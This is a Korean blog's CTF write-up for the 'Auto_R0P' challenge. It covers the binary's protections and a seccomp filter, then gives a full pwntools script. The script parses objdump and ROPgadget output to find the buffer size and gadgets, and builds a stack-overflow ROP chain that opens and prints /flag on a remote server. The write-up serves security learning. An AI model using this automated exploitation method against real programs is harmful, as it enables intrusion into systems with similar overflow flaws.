hOwDayS 선린 10720
CyberGuardians 3nd Auto_R0P 본문
소개
AEG 처음으로 해봣다 ㄸ
보호 기법
RELRO | Partial RELRO |
Stack Canary | No Canary Found |
NX | NX enabled |
PIE | NO PIE |
분석
nc로 들어가게 되면 바이너리를 base64로 인코딩 해서 준다.
몇번 실행하다보면 조금씩 다른 걸 볼 수 있다.
seccomp 필터를 걸어서 기존방식대로 ROP를 할 수 없다.
seccomp-tools로 덤프한 결과이다
Leak
필요없다
Exploit
우리가 ROP를 하기 위해선
가젯 주소와 버퍼의 크기를 알아야되는데 랜덤이라서
자동화 코드를 짜야 된다.
objdump와 ROPgadget을 이용했다.
1. read로 /flag 를 bss에 넣는다
2. open으로 연다
3. write로 출력
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | from pwn import * import subprocess p = remote("13.209.132.255",8888) #save binary p.recvuntil("base64.\n") binary = p.recvuntil("\n\n").decode("base64") open("rop_binary","w").write(binary) #Get binary informations buf_size = int(subprocess.check_output("objdump -d ./rop_binary -M intel | grep lea",shell=True).split("\n")[2].split("-")[1].replace("]",""),16) pop_csu_gadget= int(subprocess.check_output('objdump -d ./rop_binary -M intel | grep "pop rbx"',shell=True).split(":")[0],16) pop_rdi = int(subprocess.check_output('ROPgadget --binary ./rop_binary | grep "pop rdi"',shell=True).split(":")[0],16) pop_rsi_r15 = int(subprocess.check_output('ROPgadget --binary ./rop_binary | grep "pop rsi"',shell=True).split(":")[0],16) log.info("buf_size : " + hex(buf_size)) log.info("pop_csu_gadget : " + hex(pop_csu_gadget)) log.info("pop rdi : " + hex(pop_rdi)) log.info("pop rsi r15 : " + hex(pop_rsi_r15)) e = ELF("./rop_binary") #set /flag payload = "A" * (buf_size + 8) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi_r15) payload += p64(e.bss()+100) payload += p64(0) payload += p64(e.plt["read"]) #open flag payload += p64(pop_rdi) payload += p64(e.bss()+100) payload += p64(pop_rsi_r15) payload += p64(0) payload += p64(0) payload += p64(e.plt["open"]) #read flag payload += p64(pop_rdi) payload += p64(3) payload += p64(pop_rsi_r15) payload += p64(e.bss()+10) payload += p64(0) payload += p64(e.plt["read"]) #print flag payload += p64(pop_rdi) payload += p64(1) payload += p64(pop_rsi_r15) payload += p64(e.bss()+10) payload += p64(0) payload += p64(e.plt["write"]) p.send(payload) p.recvuntil(p64(e.plt["write"])) sleep(0.3) p.send("/flag\x00") print p.recvuntil("}") | cs |
'CTF' 카테고리의 다른 글
Layer7 CTF 2018 write-up (0) | 2018.09.18 |
---|---|
CyberGuardians 3nd CGhigh (0) | 2018.09.02 |
CyberGuardians 3nd GNote (0) | 2018.09.02 |
RCTF Rnote1 (0) | 2018.08.20 |
yisf 2018 예선 writeup (0) | 2018.08.16 |
Comments